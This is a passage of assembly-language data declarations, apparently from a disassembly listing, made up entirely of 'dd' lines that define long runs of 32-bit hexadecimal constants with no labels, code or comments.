		dd 23B1855Fh, 7F3EEA10h, 0C5E7C909h, 2A04F88Dh,	361A6894h
		dd 67CE6AD3h, 0F27AEFDDh, 0E47D458Dh, 66FDA3A1h, 509A302h
		dd 0AF6DE21Fh, 0E44BFBE6h, 62104300h, 0A4218AFFh, 0DEC7AAA5h
		dd 22BBD58Fh, 91E8F0CAh, 9BE395ADh, 4A18369Eh, 0EFBF1010h
		dd 0F2254B1Bh, 5EDC9CA6h, 8642E6A5h, 4DA59F2Fh,	0A0DB33A6h
		dd 0E9729363h, 78F4422Fh, 73BC5C5Dh, 3F6A16C1h,	5FBF1725h
		dd 0B7528D57h, 8C772668h, 13F5CC0Eh, 0A544E223h, 9A19289Fh
		dd 8E554BC7h, 52319A55h, 43F7B895h, 9FAA6300h, 378151EAh
		dd 6CA2F778h, 280E3925h, 0B91CDAF5h, 0B4FC4532h, 0C25065F3h
		dd 4A63BBh, 0B143D736h,	2D4D7608h, 0B58DBE60h, 34AA5752h
		dd 0D620073Eh, 3C50FEC3h, 91F663F1h, 0B22B714Dh, 2F39C05Eh
		dd 0C94A7B21h, 0BECA9DE3h, 28D21226h, 9A3F522Bh, 4E460252h
		dd 0B4586E26h, 758CE96Dh, 8914359Dh, 67681A0h, 0EBA98EB1h
		dd 0F0061D21h, 3D4855CCh, 80B52F90h, 588178DDh,	0CE1326ADh
		dd 0B21EAF15h, 8C79F985h, 1BECFAB7h, 6869F79Dh,	4D0378BBh
		dd 8DE94D43h, 30C6F0E2h, 7CD7B03Ah, 25C54610h, 6D656C9Bh
		dd 413D406Eh, 21C2F1EAh, 0F70E9D1h, 338DC4E0h, 0C542E29Dh
		dd 0D4BD858Ah, 4DFD9AB4h, 36D50CD5h, 0AAA8DAD2h, 0D6032CA5h
		dd 0CB6A7C7Ah, 166B32ABh, 0A0D96B2Fh, 3CF8622Fh, 0E2C42BD3h
		dd 0FA4719E3h, 0D1643774h, 31CB476Ch, 7F7F4B99h, 0BB4A76A9h
		dd 24E6436Ch, 0CAEC6B9h, 17750FE0h, 0C9A2D202h,	1EDDDC9Ch
		dd 9659FFF0h, 0C0F8469Bh, 0D160BC86h, 789564D0h, 0D0768017h
		dd 94F254FFh, 1703D8Ah
		dd 0A820F926h, 0C0261527h, 0FE8AD846h, 0F6331780h, 2EBEA369h
		dd 0EFE6CFCFh, 434D112h, 0AA951E3Dh, 713D11A1h,	18B39660h
		dd 0B5198CD4h, 0BDD952E7h, 880B4E25h, 1E027778h, 51AAF41Dh
		dd 61E17251h, 98C62B75h, 3D81D754h, 5731C20Ah, 34B3E2ACh
		dd 6A98A5F8h, 3739CBA4h, 3A2E975h, 7D2A8B2Ch, 348B7FDFh
		dd 339FCAC5h, 0CEB6E4A0h, 0E4F10764h, 0D51ABF74h, 48489F09h
		dd 0F6A419A3h, 5CAAC27Dh, 298F03EFh, 297E78E7h,	9E5E8847h
		dd 300E299Ch, 0BD93F3E4h, 4A031538h, 0F8E2732Fh, 0B108D882h
		dd 0FC43CB8Dh, 0E8C0E98Fh, 2A7C64D4h, 1AB728F4h, 33D7359Bh
		dd 0A01447DDh, 0A2232800h, 7D646D7h, 8A95D2A8h,	923E14Eh
		dd 75E81FACh, 1AFFFF49h, 0AA569408h, 0C9578AD8h, 0A5A6C5D9h
		dd 62DB93D3h, 0BB35C05Fh, 73490CACh, 0C44F4C47h, 0E2A63485h
		dd 0D3FD497Ah, 61034A6Eh, 4467359h, 0A587473h, 50191CE6h
		dd 0F2E4E893h, 109F8BE9h, 185A06DAh, 0FAC4AF36h, 59489C62h
		dd 0A16E8FEBh, 196FE15h, 5440F283h, 0C07134E8h,	67D2395Bh
		dd 5FFBC189h, 478DD5F0h, 0E138ECE4h, 0B1B8910Ch, 0F5C8E581h
		dd 0A875B548h, 0CF75963Ch, 1156DF9h, 46A3B09Dh,	0D2B0BCB7h
		dd 617B32BEh, 0F9BE8C35h, 0A83A75EBh, 0D114AAA4h, 0C5ED59BEh
		dd 0B41133Dh, 954558A6h, 91790042h, 0ADFC0BCDh,	0AC1EB716h
		dd 92EFBFDCh, 0BE2BA0C0h, 18C3E852h, 0A1FAE7D1h, 5CA82650h
		dd 36FF16D5h, 5E907C15h, 5C060212h, 0F7CFD5E1h,	0E9C8BD14h
		dd 0A6876518h, 0A1DA6AF7h, 52A06DFEh, 928F660Eh, 90ACD79Ah
		dd 5D4332D2h, 2B7C3361h, 1C74BCDEh, 7BED8A48h, 98A3F23h
		dd 37F1875Fh, 5BE55EC6h, 2C395D72h, 0EB90C3EEh,	8C4E4B69h
		dd 0F4AE98B1h, 2DD4D272h, 99682BE4h, 3B9FAAC0h,	710F828Ch
		dd 46A61C47h, 0A2F74673h, 0FF33D543h, 0E8DAF8Fh, 9D3266BDh
		dd 49A20392h, 34450746h, 0E34F040h, 8FA8ED55h, 0FFE53B3Ah
		dd 3B024A80h, 64B83293h, 917DA930h, 17E12B29h, 0DF118CDEh
		dd 55475019h, 1969503Ah, 0B61AD2CDh, 92E30B52h,	0CB849E50h
		dd 0C82D70C4h, 6124CA90h, 0D23E4456h, 0E9271F94h, 0D297775Ch
		dd 0CEF753F6h, 0DE9D4142h, 0BA7C0B7Ah, 0EDE39E0Fh, 28A0A5E7h
		dd 8C43BC5h, 2215F686h,	25A9A704h, 63E647EDh, 0CD17A342h
		dd 468CCB62h, 97824A04h, 9064330Ch, 7749298Ah, 0ED85DB7Eh
		dd 1BC8A502h, 0C1E918B9h, 7D9216E6h, 958D6415h,	3F64F695h
		dd 0CB224466h, 0A9910328h, 88072F98h, 740472E2h, 28D2875Dh
		dd 0EA6A5270h, 0A0C7C287h, 449930FFh, 0E5F42058h, 9652BCD7h
		dd 0D0772488h, 7A835A4Eh, 22823A9Ch, 162055FEh,	0F3E9A973h
		dd 3124BEC9h, 0AF3B0ED5h, 0ED7E22Dh, 0C040C16Eh, 6F05A223h
		dd 3615CAF4h, 1DE646A8h, 9EB09030h, 0F0C02C30h,	0D81EAB0Ch
		dd 9A572797h, 0A2ED100Ch, 0C6ADB6A2h, 2F9EE716h, 1759B32Ch
		dd 6A071ECAh, 0D052D679h, 7B441019h, 7D492E2Ch,	79B3A663h
		dd 5B9EABEBh, 0F6DC9A07h, 8F4C9063h, 0AC004EEAh, 0D81A1735h
		dd 666B33B6h, 3D99DE04h, 7ECD1279h, 1215AEF9h, 4D38BD23h
		dd 0BF2EC39Eh, 4891C8C2h, 150E2FC8h, 87F5C7D4h,	42A41609h
		dd 43EFC2A1h, 0CDDA645Fh, 85F37838h, 9CABC667h,	491A9EBEh
		dd 418AF9EAh, 3293E0C0h, 0C03AE037h, 491CBDC5h,	0B23D1B63h
		dd 0FF94FD01h, 0DD75B373h, 7A1B5471h, 445A0B88h, 86361709h
		dd 0E51FBEBCh, 0AC0A5416h, 0DC60504Ch, 1E692C71h, 7E7BDBEAh
		dd 83C13E88h, 6AE6E417h, 87E7F7AFh, 0DF89A0E2h,	0D4217534h
		dd 0BB1F16EDh, 1DA495DFh, 132E4B3Bh, 79D269FCh,	1BF0C7CBh
		dd 93EFD68Fh, 0DFD7A310h, 450F662h, 802B8163h, 33F1D490h
		dd 201DA5F7h, 166FB369h, 0DADC1D2h, 1426B3D6h, 39518535h
		dd 0FCEA2611h, 9D49BC0Bh, 0B8FF0B75h, 0C7B6F210h, 64FB6F7h
		dd 3BDCA5C2h, 14AADCBCh, 2B4BD65Ah, 0A60641D5h,	998E9CC0h
		dd 4F12E4EDh, 8A2153A7h, 0A721C0C0h, 0EB6617ABh, 4053B17h
		dd 0F7CD7E01h, 1C514E04h, 0F7C482AFh, 419C5A8Dh, 0A16F38D7h
		dd 54DF68CEh, 1FFEEB8Fh, 438DDE9Dh, 604A2B8Eh, 0B87937F5h
		dd 27A1EC2Fh, 7927B675h, 5CE97047h, 0CF95E12Ah,	435168B4h
		dd 0CFC6222Eh, 0CD0F3E91h, 654F69F1h, 0EFB8144Ch, 0E1FFBB34h
		dd 0A5E15F28h, 73DA4CDFh, 905E75B0h, 163A8C96h,	3DC4A396h
		dd 4AED0AEFh, 9CF0C890h, 7196EA41h, 6E9AFB1Ch, 836FC0CFh
		dd 838F9879h, 63719DE0h, 332BBF11h, 8557E7BAh, 0F6F8D548h
		dd 288EEFE0h, 0D1CC847Ah, 0DF977642h, 0AB2F5BEDh, 0A0CD0DAEh
		dd 0A2B9B901h, 52CF780Ah, 0F2B3F723h, 1DC595E8h, 4F14B2A0h
		dd 0FF06C71Bh, 36F2ACD9h, 0DA4C7F82h, 0A33AA87Dh, 0FBA96A81h
		dd 0C9233685h, 0C3003BC9h, 0AE5D2510h, 7CB7B6E3h, 0BC20E36h
		dd 0B9044D8Fh, 7C9A961Fh, 0A7BE6E25h, 0F1A30709h, 38B59A02h
		dd 85C7BB58h, 67BFCC90h, 6A8F9E90h, 7F6ABD7Dh, 0BC43029Eh
		dd 0FD6D4988h, 71DAE124h, 6ED6AFD5h, 321D5E1Ah,	767DDFE7h
		dd 9AE1C269h, 0F5298B36h, 57D6954Dh, 0E2864E5Eh, 0C20D9705h
		dd 4FEC3DA0h, 436A1731h, 2B5A4F5Ah, 0B61ED57h, 9ABD1D9Eh
		dd 71CB098Ah, 0F86A5A88h, 0AE1616ECh, 5EA15FE1h, 4432FAF5h
		dd 1B3597ECh, 593811EEh, 0C9A51F72h, 5B55584Ah,	0DA485C89h
		dd 0D5AEA063h, 6D1E87B6h, 6C8799Eh, 0CBB0553Eh,	414FD67Eh
		dd 0E9F9F2DBh, 47FF76E8h, 0AF8B7295h, 6C2C9635h, 5740F599h
		dd 75A004C5h, 7A84AFA4h, 756008CCh, 0E3712391h,	6F32B6BBh
		dd 5E1B682Dh, 7E196190h, 0F5FC61F9h, 0AE470B1Fh, 0C1004756h
		dd 0FEAED291h, 0AD05076Bh, 0A4E7FD53h, 446521E3h, 0B26ECF81h
		dd 0D969B53h, 6D930BF8h, 3693EA80h, 54DDC737h, 0AA2D0EAh
		dd 0F19418BAh, 0BA5F16E9h, 9B60EE27h, 4FA56C24h, 0F150931Dh
		dd 0C45E1D8Ah, 0CADD780Ch, 0E0633FD0h, 94033BF8h, 0F0012AAAh
		dd 0DEA97181h, 1CA5EFAFh, 995804CEh, 9B8B4DACh,	689D2390h
		dd 0DA2ADF54h, 0D07710A1h, 0A0A1D5E6h, 82E41C5Ch, 8279F2E5h
		dd 0E55B8261h, 566244F6h, 8CB62E63h, 0ACBF3CACh, 6940B731h
		dd 0D3EDACE7h, 0F96740DBh, 91C60A65h, 9D59B6EAh, 0A8A04F1Fh
		dd 33021925h, 1F2287AAh, 8C185F5Ah, 0B5AF7E3Eh,	40013651h
		dd 0A408B4h, 0BB29D418h, 0C59EF689h, 0C7C6D078h, 6C0D1E8Ah
		dd 18AC3887h, 0BCF35D53h, 0A9A2A7A2h, 691E2C6Fh, 0E3B85DB5h
		dd 2CD84272h, 60B4D3C8h, 0C555FEAh, 9E80B55Ch, 51ED824Eh
		dd 0EC70458h, 4BAFC854h, 629F249Eh, 34A5688Fh, 0AFCBDFD0h
		dd 0ACAC9608h, 6128375Ah, 4EACB664h, 948AD74Eh,	13AC4347h
		dd 47B24964h, 21CA490h,	76B504D4h, 882D19F7h, 0AA6F5585h
		dd 0BBA336A8h, 0B308DABh, 21A45F73h, 0D7B6FDEDh, 1B2D1AE9h
		dd 0ACA176D5h, 32450069h, 2163C992h, 0FFC29764h, 4654361Bh
		dd 2F6D85FBh, 0B04A1E00h, 0B0673C6Ch, 9662DE20h, 0E54B4CD6h
		dd 25A9C82Ch, 5A04254Ah, 3B5F779Dh, 8EF60B98h, 65A167C7h
		dd 0E1494107h, 0C2B3E5CAh, 121502EBh, 58C91B17h, 7CB67707h
		dd 0F733047Dh, 5D5B65C8h, 9249ED83h, 16F98C9h, 95EBBB21h
		dd 45A29D48h, 897EBA90h, 64F87F4Ch, 76D5AB18h, 5BC4B1D0h
		dd 57C3089Ah, 0D0A69593h, 420A702Dh, 4A53B54h, 9CC66037h
		dd 0C9CC848Ch, 0BD4DB163h, 0C45356D1h, 8127A1ECh, 766D6553h
		dd 63C8D61h, 0DCC0FE3Ch, 0CD57640Fh, 91F7197h, 0FBD168A9h
		dd 4EA3221h, 0F154C866h
		dd 0B19D078Ch, 0B19B230Ah, 0F480F1EDh, 0C994E3D7h, 3D4692E9h
		dd 0A417C92Dh, 769BA31h, 5B54C260h, 96C1A2A2h, 1A2D5C2Eh
		dd 0C518AD8Ch, 88AC6B7Ch, 884EC0E2h, 10DD3298h,	0FD9D28F7h
		dd 0F3FC0391h, 3969FAE8h, 15FCABE4h, 4725806Fh,	0BEA833D4h
		dd 408BE421h, 0B7F60337h, 7C240846h, 6961080Eh,	797183Ah
		dd 2272851Fh, 0DE8B339Dh, 80C30713h, 0B1AA3AB4h, 554052F2h
		dd 91E8EF83h, 64E2D4A9h, 4DBE11Ah, 0A1C4F3E3h, 36418743h
		dd 0A10A6EC3h, 83D15F33h, 0E1C64000h, 6CE8ED2Dh, 1044F168h
		dd 0BA587535h, 8ACA908Fh, 94FF887Dh, 7B5498FDh,	191E1395h
		dd 0B599E16Ah, 0B8FB2255h, 9AB46A58h, 31F0FDF2h, 0A5984A12h
		dd 0A309CE4Ah, 0B457FDF0h, 4AD310F0h, 217A7151h, 0B423BA88h
		dd 0C024C5D0h, 389139F4h, 68465434h, 4F9B93AFh,	2343713Bh
		dd 63C6CA4Ch, 1FA90995h, 87A6633Dh, 8655259Ch, 6BCA144Ch
		dd 15D59D7Dh, 916D9B96h, 42AFE3D1h, 78924B10h, 0D2D883F3h
		dd 0C259DA22h, 0B2F78E20h, 9066BB55h, 1C6420CCh, 74071E7Eh
		dd 0EBA97DC3h, 1C977149h, 0E240E45Fh, 2210A0B9h, 92F95DEBh
		dd 0A9E00FD5h, 753D1FD0h, 57C3A3A3h, 1070FB9Ah,	0F4566A04h
		dd 90454DA8h, 0CF750D99h, 0F6770D6Eh, 0D41D1FC8h, 46555D89h
		dd 9ED99008h, 90F7A914h, 523DC6E7h, 65E18ACFh, 0D28A77ABh
		dd 0D88000F2h, 2879E60h, 814C0B63h, 68855276h, 632D9A74h
		dd 2C5A121Eh, 8EA60C5Eh, 52372265h, 6435AEAh, 0F52568FDh
		dd 2FFA97F0h, 9015641Bh, 602E0925h, 3495EB0Bh, 6EEDE339h
		dd 5568474h, 5EB39BCCh,	0B84DED08h, 0A78E8FBEh,	0F271D0FAh
		dd 9E12ED7Dh, 10F6336Ah, 0C014B42h, 5D0CE683h, 48975C6h
		dd 0EA96F5B7h, 0B17E63CAh, 0E2E359E5h, 17AD885h, 52027077h
		dd 2387E960h, 0F76084C9h, 991D5873h, 43E5045h, 0A0A86773h
		dd 16835546h, 0EA47B723h, 0F780F11Eh, 0B9EA8F5h, 0BAECC8D0h
		dd 0E298D7C3h, 8589BA88h, 0DEE7D869h, 10A01909h, 77E1D431h
		dd 0BD52D3D1h, 0C6F68B87h, 0E1A2AC4Bh, 7DE09ADEh, 21469B56h
		dd 0F44237BEh, 59FFA5B7h, 9CD5DE2Ch, 0C00EF6Ch,	1C9B5B58h
		dd 0C5B50190h, 0F890DD31h, 320C6E32h, 91426947h, 273ED509h
		dd 1D8BF483h, 808CCD89h, 0D4FD031Eh, 0DB1A4F75h, 700B253Dh
		dd 2DBA0103h, 1C4BBC77h, 561F0A65h, 59FC17F7h, 0F31FA446h
		dd 1623F3AFh, 856775ADh, 0B261F028h, 93DCDB18h,	0E99989FDh
		dd 1DC9E776h, 6A762DFFh, 0C0B33502h, 49BC2CA8h,	67EB5F2Dh
		dd 8B749456h, 403166D4h, 0B8A35CB5h, 563468CFh,	0AFC3407Ah
		dd 37BD6C74h, 0EF8FDDB4h, 475E1AF5h, 4C1F6D1Ch,	6D3DC655h
		dd 0F46A627Eh, 2CF502FAh, 7CF86104h, 3831D28Eh,	12B5BA8Fh
		dd 3372F284h, 9F80D96Eh, 602DB20Fh, 28CFBD86h, 0AA53A158h
		dd 0A756DCB0h, 89C3F71Ch, 0EE954596h, 8523957Bh, 0F79F458Bh
		dd 0ABC61E78h, 6D8BBA0Ah, 10235186h, 964592FDh,	0EA4ABB2Bh
		dd 0CFA5DF65h, 972AA8EFh, 78E2D914h, 71C8D0BFh,	0C017204Dh
		dd 0F7F75450h, 0B7A6D4C8h, 7FB1EE2Ah, 7D5FA637h, 9B8D1614h
		dd 0AAD85EA3h, 0CBF5CF27h, 0F6E190D1h, 0B69CEB66h, 0F9640BBBh
		dd 0AD4B82F1h, 50880C03h, 4558EEB7h, 69C33ED5h,	90E23CE8h
		dd 3473EA79h, 0F6173D66h, 8D3F8E22h, 3CE4749Ah,	0AEF3DD4Ch
		dd 14270B22h, 0C8C4BFCFh, 5F696F1Bh, 13031B11h,	447123C3h
		dd 5C3D28EEh, 9A047FE4h, 0B6333FD3h, 7E453F08h,	0E85D698Ah
		dd 0B4B661A0h, 385BCC5Ch, 0EA08FC89h, 78FBCB80h, 969E7235h
		dd 4FAAE9C0h, 1C58AEFFh, 395D0640h, 0A24D1889h,	0C6FD1BFEh
		dd 46FCFB93h, 8A13346Bh, 7323F271h, 5E9ADB77h, 7F944CE5h
		dd 99043F57h, 6925B223h, 77AF80F9h, 31D8AF88h, 8EE0ACEEh
		dd 0EE30BF50h, 82109CA0h, 1757B528h, 0D1E200CCh, 75EC007Bh
		dd 0EC4E9C94h, 0A5B1F657h, 61B7C287h, 795E1447h, 97CB4F32h
		dd 0DF429064h, 0A2A91045h, 28B71D3Ch, 0D9A44965h, 84DFF2CAh
		dd 72BA256Ah, 7587BD52h, 0D6A99C44h, 3BE8C887h,	0E9874652h
		dd 6A690D0Fh, 0BC40CB30h, 53428D01h, 2E56CD0Dh,	17638E9Ch
		dd 7D65E030h, 800D147Ch, 0C0996035h, 0A127E05Ch, 0D9747945h
		dd 0BBBBF9A0h, 0A4F4F5Ch, 0B26DEFDEh, 0EF68DB9Ah, 0FB1D3D5Bh
		dd 0A9AC864Bh, 2FF70DECh, 0F857565Fh, 0BFD5A73Ah, 2FC14E8Eh
		dd 44D465E1h, 1B5B834Ch, 9CFB9AAAh, 0D6238220h,	57F7F0DAh
		dd 87EAEAC5h, 0DBBB9776h, 0F3B864B8h, 0D46F3F23h, 0A2CB0950h
		dd 0D150F098h, 431E01A2h, 65E62D59h, 0D8092B66h, 7CECF426h
		dd 43FF8A76h, 6554D028h, 0BF6AB1ECh, 0D3A2E2DBh, 470E8068h
		dd 31B54CAEh, 0DFE98459h, 9E056D74h, 0BF767788h, 0B80DC226h
		dd 0B417BE8Eh, 86BD2D09h, 405D86E7h, 0A71AAB8Ch, 6FF23B48h
		dd 5A6914F3h, 0CA8D31CAh, 0BA2A9C8Dh, 0B36933ACh, 0FC7342ABh
		dd 52D18C5Dh, 8515D2E6h, 52223278h, 0D9FFFCC1h,	2675F2DBh
		dd 10885524h, 8D843D90h, 48A96FACh, 0D03908E4h,	57A8DECh
		dd 77DD196Ch, 0B4F3AF2Dh, 0F953A928h, 0A10A934h, 0B41E8B0Dh
		dd 0D174B18Dh, 0D96C8145h, 8FA98645h, 941AFC77h, 959CF895h
		dd 7DE14002h, 65F86AD3h, 0C88CF02Bh, 64C87A30h,	0F147B95Fh
		dd 0A7DC3114h, 2C316684h, 0E8C20831h, 0D14F9555h, 0A97C49F9h
		dd 0A50B693Ah, 1B33932Bh, 0B47D39ECh, 0E136B3Ch, 0BBBF75F9h
		dd 1E45F721h, 38DD3BB3h, 9DCCE845h, 9D6D0009h, 0A4B9C30h
		dd 0DD36B1F6h, 9A51EDC1h, 0B18862C7h, 60DED050h, 9DE9335Dh
		dd 13724E50h, 0E4F204F0h, 0E10B592Dh, 5EBE1CC6h, 1EC83F75h
		dd 2C95C0F7h, 0AF6AC826h, 6BF1EFF4h, 56279A26h,	973448D5h
		dd 0F25EF7D0h, 0B355B16Eh, 0CCA7CDC8h, 0F03DE9F6h, 49F6EDFh
		dd 81E9BDCh, 0A93B0C91h, 1BD0AE8Bh, 7F2801B1h, 503F7CCBh
		dd 9D6D6E63h, 9FA2C8Ah,	546217D0h, 53B5A86Ch, 2B636DECh
		dd 42B34B21h, 2D26E9Ch,	5F5F5D33h, 0FFBE09D1h, 73D51605h
		dd 0F279D959h, 0B51EBDCFh, 9B33E9Ah, 20F8DAE4h,	4F3D22AAh
		dd 88D6F30Eh, 6F51FE60h, 0C7F2A1EEh, 50AEF2CAh,	1990B897h
		dd 0F989CF0h, 0C25C0B17h, 15162F40h, 57A6D44Ah,	0A47ABDD3h
		dd 0D4E1A858h, 0B7EB205Ch, 31CCAA20h, 5DB3FE5Ah, 7BE742B9h
		dd 0B68B9F47h, 65610FFFh, 2A1275F4h, 0F453FD15h, 0C8DE541Fh
		dd 765DEBEEh, 68A01D78h, 6DA220EFh, 0F83BDE25h,	0A5F5B9AAh
		dd 6FC8032Ch, 8E658316h, 0EFC3A96Dh, 45D10A1Bh,	8EC4C1E6h
		dd 0AA9E04Eh, 93E0B2Fh,	0E330C5C1h, 0FF2615Bh, 4721BEFCh
		dd 4F90B063h, 0B49FD89Bh, 1028BA71h, 893049C5h,	7A592F7Eh
		dd 878F5E65h, 0B74B6FDEh, 3C0CB641h, 49B698CCh,	0ACC5B3B0h
		dd 0C6D23336h, 2FB32CFCh, 59D01A20h, 62EF692Eh,	0F622EDABh
		dd 0C9BACA41h, 0C7D942BFh, 751F0B1Eh, 0E3026869h, 475D29D3h
		dd 2E64D1F6h, 7FC0464Eh, 0D720FE9Bh, 67EBF536h,	0EDDBBCB4h
		dd 4176B5DAh, 47CFD62Eh, 77943EA6h, 0C4A986Ch, 0A1DB5DA5h
		dd 0A182F1Eh, 87CE01F0h, 10DD5C97h, 0BB4D4438h,	33A83619h
		dd 1A2BFFCFh, 0B13B3D1Ah, 0BF91DEB4h, 69ED3DA7h, 24C656D3h
		dd 57E3473Bh, 920AB569h, 46D6FF02h, 8F849C1h, 3EC085Fh
		dd 77CBC08Bh, 1BC544A1h, 0C23B65E8h, 0D062D481h, 0F220C879h
		dd 4A3EC874h, 0CCD9133Bh, 0D581F5F7h, 4341B4D7h, 85E20884h
		dd 3CF5A064h, 457221AFh, 1BECD0A1h, 0BAD36202h,	0D68F79CEh
		dd 822973AEh, 3BCBE5D3h
		dd 43434E7Fh, 0C7DCF709h, 2F8E77CCh, 2D12FDAEh,	457FFD5Ah
		dd 0BF498CAFh, 0D575D655h, 6FC99662h, 0B51E5F8Dh, 53C13DCDh
		dd 3BDD7A72h, 0E616EE70h, 48BBBEB7h, 51702FBEh,	71F5921Fh
		dd 0EAC1BCE0h, 0CB9214ECh, 0B0E28E09h, 4CED1782h, 5E13C74Bh
		dd 29A216D0h, 0BF816B46h, 0FEF481CAh, 0A25646E7h, 0E4529A4Ah
		dd 648755B4h, 3EBBD59h,	198FC5C6h, 625C0386h, 0C1357447h
		dd 1DAF6B10h, 37C781F0h, 7CAAC1B6h, 128B927Bh, 50C6EDBEh
		dd 6612CC41h, 136C3A32h, 19BD43B1h, 28B7C8B3h, 1AC3EB01h
		dd 3413F40Bh, 11CA42A8h, 8C379132h, 4499DE05h, 3B011B2Fh
		dd 0C0DF094Ah, 639CF82Bh, 52D089D3h, 0B5A2C00Eh, 6C49F6E3h
		dd 8A719629h, 8F81F187h, 13F4129Ch, 0E7A8BDA1h,	0FAE64BECh
		dd 0B9596AFAh, 3348FD64h, 609D6F32h, 0D11AC2Ch,	0A9A35EB6h
		dd 88BE4C42h, 45717B8Ch, 2C0B1F41h, 0DDF63BBDh,	785F1945h
		dd 0BEAF9548h, 0CD099F98h, 3D5AAA75h, 343B9DC3h, 61EF4C0Ah
		dd 34EB0226h, 36776C12h, 0D298D874h, 8DE3E24h, 768190h
		dd 0F21FB532h, 1D8E2012h, 9B4BCE55h, 7D11FB41h,	305584C3h
		dd 33A8CC33h, 4138C366h, 684FAE23h, 0A902AC80h,	49A703AEh
		dd 4E5848F9h, 59084158h, 29C380E0h, 1E464B25h, 7F481935h
		dd 6E2EBAF0h, 3BCB09A0h, 8AB0DB20h, 0CB5D8CA3h,	297416Fh
		dd 2A0D88FDh, 0E75C0527h, 614451B5h, 66AF8383h,	6FA940F8h
		dd 6FD863FAh, 0D5B2B919h, 3CCA8AFCh, 0C4463C54h, 1431C92Bh
		dd 653BF8EFh, 0E92CF8EEh, 0A74DE638h, 944FCF5Bh, 871EFF93h
		dd 60D1EE87h, 807C4E1h,	0BC7DA43Fh, 0AAEBD0E5h,	0AC0051BAh
		dd 66AEBB47h, 0CF995029h, 5DEDEE2Fh, 0BEE2753Fh, 4EE24FB8h
		dd 0C7844B1Fh, 0D9EF3D99h, 0E5CCB7C6h, 52222AE7h, 90F14EF2h
		dd 575EDDB8h, 0EE8A9817h, 0B88EFAD8h, 2E036267h, 8B10823Bh
		dd 4458BD5Bh, 0CA07BDB4h, 96FC3C9h, 6717E60Fh, 0C4ACF038h
		dd 4F1B788Ah, 0DBBE0E7Ch, 346AE50Bh, 6A57C57Ch,	0D289779Bh
		dd 849B15F5h, 0C492B18Ch, 7CF46AA1h, 0D9F8FECDh, 0B97D6E15h
		dd 6B942B21h, 7597357Eh, 71B135DBh, 0A3ED3DB6h,	36B7EFA0h
		dd 930DA66Dh, 0D6E92C4Fh, 0EBCFE843h, 3372288Bh, 6F713DC4h
		dd 2F51682Bh, 8E9B5DCEh, 6FD02554h, 0CE56B9C6h,	0D071489Ah
		dd 0F3E04B75h, 0E0CB198Ah, 30C9121Fh, 69795E11h, 26928C84h
		dd 98376132h, 0E96B29CEh, 6DDAD0C0h, 82927AE7h,	0A76D667Eh
		dd 0C789D790h, 1276BC8Ah, 4DD632CAh, 0C377DCDh,	0F7CFDE91h
		dd 72647553h, 5056D963h, 3B55EA4h, 541902FDh, 0FE6B3DFEh
		dd 7C28305Eh, 457A0791h, 0B57B4F18h, 858CCA8Bh,	0AC2C3D6Eh
		dd 0A584CA0Bh, 0BBD3BA2Ah, 0A506D3C2h, 0D2653A4Dh, 2210B37Ch
		dd 2508830Ah, 306ADBB2h, 0E698633Ch, 466A7D1Eh,	24B9C106h
		dd 0A7141491h, 0A40158C1h, 0BA33CF5Eh, 1989AA39h, 74E222E7h
		dd 0E374A36Eh, 127AB00Eh, 0B9699746h, 7D933049h, 0DD88C7F9h
		dd 7DE8ACF9h, 981B1DF6h, 0AD9C4F2Fh, 6CE82CAFh,	0E8FE18E0h
		dd 0F8A8FF54h, 22D00284h, 0D8647605h, 0EF6700E9h, 0B828EF87h
		dd 0B4C803A7h, 372612FDh, 0F77A3966h, 1CD0401Ah, 0ECF3A8A8h
		dd 0F6B8DABEh, 9BA356F8h, 9F1C598Dh, 0D23D596h,	0BBC8E035h
		dd 0B9033EF7h, 0C759B7DDh, 0B3D5ADC8h, 676155BBh, 0D142A7EFh
		dd 4AFEBF45h, 398376BCh, 0E68E4049h, 0ABECA908h, 17873E26h
		dd 0DC99D454h, 97B6D647h, 0B4A9A6E4h, 69B11647h, 0D2B1C9CCh
		dd 0B4987D5Ch, 0C72B99ACh, 41D13726h, 23CE97D0h, 1607F715h
		dd 6CE10987h, 0AB2B0C25h, 5D9D3F2Eh, 0CEEEA889h, 84B66807h
		dd 0F44B53E1h, 3ADA6B76h, 8DAC0148h, 75036BEAh,	917162E3h
		dd 788A18D9h, 0B78E1608h, 42F2D5B5h, 2E16BC2Eh,	8D5384D8h
		dd 431289C9h, 24C74487h, 4046EE1Dh, 0A0E69A26h,	4726108Ah
		dd 32AC43FFh, 18A62AC7h, 99ABF2Fh, 0B7B77006h, 0FD911874h
		dd 569AE366h, 18703E7h,	0BB555DF8h, 0F117BBD7h,	5D525ECAh
		dd 0C8E5DC25h, 10A6210Bh, 0A3B2AE51h, 0C3250C2Ah, 0A698EEADh
		dd 2C580FD4h, 0C610E2B3h, 0F706FCADh, 69B37A4Fh, 4AC93C29h
		dd 87B802D8h, 995CE499h, 84FF5B34h, 0C82B9054h,	8443DA87h
		dd 930B39D4h, 8FABADD6h, 0BEAC85EFh, 0B6067756h, 727183DBh
		dd 364E41AEh, 0F926A852h, 0E0D59850h, 77B8CE52h, 83C8D66h
		dd 0E19EC3D5h, 0B5CEF856h, 0A6731A8Eh, 0A6AB4AC7h, 0BF1AF676h
		dd 11002F56h, 9F4CC4F6h, 897DF4EFh, 0F3855AA7h,	6D26831Dh
		dd 0C30AF404h, 2EBBAAE8h, 345A3EE5h, 36DE3A22h,	803B502h
		dd 0A41B1895h, 1E7B81EDh, 0DDAAFD5Bh, 0DB5F758Ah, 7E1AC75Ah
		dd 9421F08Ah, 0B4A2EC3Ah, 1830917Eh, 0B5054BB0h, 0ED3F694Bh
		dd 2EA9507h, 8C55CEE2h,	0F3C032E5h, 0B2E16F52h,	84CEF9C6h
		dd 0BC0DD9BFh, 54307571h, 0CC107BF2h, 74C1E3A6h, 0FF4E4EB5h
		dd 269E105Fh, 0F0F8CB68h, 8D4C3FEDh, 9F9DEDD5h,	9C306A24h
		dd 4F134198h, 44398F93h, 20B314BCh, 9AD2B514h, 64FE16F9h
		dd 69A9BACh, 0D82BEB7Eh, 1E8DEE32h, 0CF5D285h, 66F2BD49h
		dd 3D39D33h, 6FE9CD33h,	0FB2585BAh, 86834558h, 4920D40Eh
		dd 1FAA4375h, 2C7CD49Dh, 9601E24Eh, 3562C3E6h, 0E0D34886h
		dd 0BFA06473h, 0FB712C62h, 857A9BB3h, 0AEC84375h, 0F4A120E8h
		dd 0E0DB8928h, 0EE6ED517h, 0A6AB9E7Bh, 592DE8C9h, 266DE46Fh
		dd 26CFD993h, 647BC605h, 13D1CFA3h, 1DAB0717h, 0D4006E64h
		dd 38613BE5h, 56D7EABFh, 0E13B0DC5h, 6D0C431Bh,	6456DB60h
